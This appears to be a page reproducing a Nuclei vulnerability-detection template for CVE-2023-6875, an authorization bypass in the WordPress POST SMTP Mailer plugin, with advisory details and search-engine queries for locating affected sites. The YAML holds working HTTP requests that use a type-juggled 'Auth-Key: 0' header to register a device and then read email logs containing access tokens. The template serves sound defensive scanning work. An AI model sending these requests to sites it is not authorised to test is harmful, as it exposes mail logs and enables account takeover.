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WordPress POST SMTP Mailer <= 2.8.7 - Authorization Bypass

ID: CVE-2023-6875

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2023,wp,wp-plugin,wordpress,smtp,mailer,auth-bypass,wpexperts

Description

Section titled “Description”

The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7.

YAML Source

Section titled “YAML Source”
id: CVE-2023-6875


info:
  name: WordPress POST SMTP Mailer <= 2.8.7 - Authorization Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7.
  remediation: Fixed in 2.8.8
  reference:
    - https://plugins.trac.wordpress.org/browser/post-smtp/trunk/Postman/Mobile/includes/rest-api/v1/rest-api.php#L60
    - https://plugins.trac.wordpress.org/changeset/3016051/post-smtp/trunk?contextall=1&old=3012318&old_path=%2Fpost-smtp%2Ftrunk
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e675d64c-cbb8-4f24-9b6f-2597a97b49af?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6875
    - https://github.com/UlyssesSaicha/CVE-2023-6875
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6875
    cwe-id: CWE-862
    epss-score: 0.05153
    epss-percentile: 0.92961
    cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpexperts
    product: post_smtp_mailer
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/post-smtp
    fofa-query: body=/wp-content/plugins/post-smtp
    publicwww-query: "/wp-content/plugins/post-smtp"
  tags: cve,cve2023,wp,wp-plugin,wordpress,smtp,mailer,auth-bypass,wpexperts
variables:
  fcm_token: "{{randstr_1}}"
  device: "{{randstr_2}}"


http:
  - raw:
      - |
        POST /wp-json/post-smtp/v1/connect-app HTTP/1.1
        Host: {{Hostname}}
        Auth-Key: 0
        Device: {{device}}
        Fcm-Token: {{fcm_token}}
        Content-Type: application/x-www-form-urlencoded


      - |
        POST /wp-json/post-smtp/v1/connect-app HTTP/1.1
        Host: {{Hostname}}
        Auth-Key: 0
        Device: {{device}}
        Fcm-Token: {{fcm_token}}
        Content-Type: application/x-www-form-urlencoded


      - |
        GET /wp-json/post-smtp/v1/get-log HTTP/1.1
        Host: {{Hostname}}
        Auth-Key: 0
        Device: {{device}}
        Fcm-Token: {{fcm_token}}


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "success\":true,", "{\"fcm_token\":\"{{fcm_token}}")'
          - 'contains_all(body_3, "true,\"data\":", "access_token=")'
        condition: and
# digest: 4a0a00473045022100c95368ee5826a0c614444bdeff8fb5902beb0d89eb14279dbfdc3a2fd9d3195502205bb8ebc02cbabd73ea70d17fc3745d2d646232731a3af1f0049410e4859e7216:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6875.yaml"

View on Github